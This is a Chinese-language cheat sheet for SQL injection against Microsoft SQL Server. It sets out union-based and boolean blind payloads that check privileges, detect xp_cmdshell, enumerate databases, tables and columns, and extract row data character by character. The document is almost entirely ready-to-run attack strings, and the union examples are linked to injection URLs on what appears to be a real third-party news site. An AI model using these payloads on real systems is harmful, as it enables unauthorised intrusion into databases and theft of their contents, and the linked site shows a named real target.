## Sqlserver数据库注入

SQL Server数据库是由Microsoft开发和推广的关系数据库管理系统(DBMS)，是一个比较大型的数据库。端口号为 1433。数据库后缀名 .mdf，注释符是 --

sa权限：数据库操作，文件管理，命令执行，注册表读取等system

db权限：文件管理，数据库操作等 users-administrators

public权限：数据库操作 guest-users

### **判断当前数据库用户权限**

and 1=(IS\_SRVROLEMEMBER(‘sysadmin’)) //返回正常为sa

and 1=(IS\_MEMBER(‘db\_owner’)) //返回正常为DB\_OWNER

and 1=(IS\_srvrolemember(‘public’)) //public权限,较低

### Sqlserver联合注入

#### ------判断列数：

Order by 3 返回正常

Order by 4 返回错误

列数为3

#### ------查看数据库：

[...aspx?id=10 union select null,db\_name(),null](http://www.jingke.com.cn/news.aspx?p=%E7%BB%8F%E7%A7%91%E5%AE%8F%E8%BE%BE&&i=10%20union%20select%20null,db_name(),null) （当前数据库）

[...aspx?id=10 union select null,db\_name(1),null](http://www.jingke.com.cn/news.aspx?p=%E7%BB%8F%E7%A7%91%E5%AE%8F%E8%BE%BE&&i=10%20union%20select%20null,db_name(),null)

[...aspx?id=10 union select null,db\_name(2),null](http://www.jingke.com.cn/news.aspx?p=%E7%BB%8F%E7%A7%91%E5%AE%8F%E8%BE%BE&&i=10%20union%20select%20null,db_name(),null)

[...aspx?id=10 union select null,db\_name(N),null](http://www.jingke.com.cn/news.aspx?p=%E7%BB%8F%E7%A7%91%E5%AE%8F%E8%BE%BE&&i=10%20union%20select%20null,db_name(),null) .......

#### ------爆表名

...aspx?id=10 union select null,(select top 1 name from 数据库名..sysobjects where xtype='U' and id not in (select top N id from 数据库名..sysobjects where xtype='U')),null

(数据库名是你想爆破的数据库名，N = 0 1 2 3 ....)

#### ------爆列名：

...aspx?id=10 union select null,(select name from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='表名') and colid=N),null

#### ------爆内容

...aspx?id=10 union select null,(select top 1 列名 from 数据库..指定表),null

...aspx?id=10 union select null,(select top 1 列名 from 指定表 where 列名 not in (select top N 列名 from 指定表)),null

### Sqlserver盲注

#### ------获取基本信息

1、判断是不是MSSQL  
and exists (select \* from sysobjects)–  
and exists (select count(\*) from sysobjects)–

2、猜解数据库版本  
and substring(@@version,22,4)=’2005′–

3、判断是否站库分离  
and @@servername=host\_name()–

4、判断支不支持堆叠查询  
;declare @d int–

5、判断XP\_CMDSHELL是否存在  
and 1=(Select count(\*) FROM master..sysobjects Where xtype = ‘X’ AND name = ‘xp\_cmdshell’)–

6、猜解主机名  
and ascii(substring(host\_name(),1,1))>49–

7、猜解本地服务名  
and ascii(substring(@@servername,1,1))>49–

8、猜解当前数据库  
and ascii(substring(db\_name(),1,1))>97–

#### ------获取用户及权限信息

1、猜解当前数据库用户  
and ascii(substring(user,1,1))>97–

2、判断当前数据库用户权限  
and 1=(IS\_SRVROLEMEMBER(‘sysadmin’))–//返回正常为sa  
and 1=(IS\_MEMBER(‘db\_owner’))–//返回正常为DB\_OWNER  
and 1=(IS\_srvrolemember(‘public’))– //public权限,较低  
and 1= (HAS\_DBACCESS(‘数据库’))– //判断是否有数据库的访问权限  
以下命令仅适应于SQL Server2005及以上版本  
and 1= has\_perms\_by\_name(db\_name(), ‘DATABASE’, ‘ANY’)– //判断是否对当前库有所有权限  
and 1= has\_perms\_by\_name(‘master’, ‘DATABASE’, ‘ANY’)–//sa权限

#### ------获取数据库信息

(N表示 0 1 2 3 4 ....)

1、猜解数据库数目  
and ((select count(name) from master..sysdatabases))>1–

2、逐个猜解数据库长度和名称  
DBID：  
and (select count() from master.dbo.sysdatabases where dbid=N)=1  
长度：  
and len(db\_name(N))>1–  
and (select len(name) from master.dbo.sysdatabases where dbid=1)>1  
名称：  
and (ascii(substring(db\_name(N),1,1)))>97–  
and (select count() from master.dbo.sysdatabases where dbid=N and ascii(substring(name,1,1))>90)=1

#### ------获取数据库中表的信息

1、猜解数据库中表的数目  
and (select count(name) from 数据库..sysobjects where xtype=’U’)>28–

2、逐个猜解数据库中表长度和名称  
长度：  
and len((select top 1 name from 数据库..sysobjects where xtype=’U’ and id not in(select top N id from 数据库..sysobjects where xtype=’U’)))>5–  
名称：  
and ascii(substring((select top 1 name from 数据库..sysobjects where xtype=’U’ and id not in(select top N id from 数据库..sysobjects where xtype=’U’)),1,1))>97

#### ------获取表中列的信息

1、猜解表中列的数目  
and (select count(name) from 数据库..syscolumns where id=(select id from 数据库..sysobjects where name=’指定表’))>1–

2、逐个猜解表中的列长度和名称  
长度：  
and len((select top 1 col\_name(object\_id(‘指定表’),N) from 数据库..sysobjects))>1–  
and len((select name from 数据库..syscolumns where id =(select id from 数据库..sysobjects where name=’指定表’) and colid=N))>1–  
名称：  
and ascii(substring((select top 1 col\_name(object\_id(‘指定表’),N) from 数据库..sysobjects),1,1))>72–  
and ascii(substring((select name from 数据库..syscolumns where id =(select id from 数据库..sysobjects where name=’指定表’) and colid=N),1,1))>73–

#### ------获取数据

1. 猜解表中记录的数目、数据长度和数据  
   数目：  
   and (select count(\*) from 数据库..指定表)>1–  
   长度：  
   and (select len(字段) from 数据库..指定表where 排除条件)>1– 即：

and (select top 1 len(字段) from 数据库..指定表 where 字段 not in (select top 1 字段 from 数据库..指定表))>N

数据：  
and ascii(substring((select cast(字段 as varchar) from 指定表 where 排除条件),1,1))>1– 即：

and ascii(substring((select top 1 cast(字段 as varchar) from 指定表 where 字段 not in (select top 1 字段 from 指定表)),1,1))>1

或：

**and ASCII(substring('(select top 1** 字段 **from** 指定表 **where** 字段 **not in (select top 0** 字段 **from** 指定表**)',1,1))>1**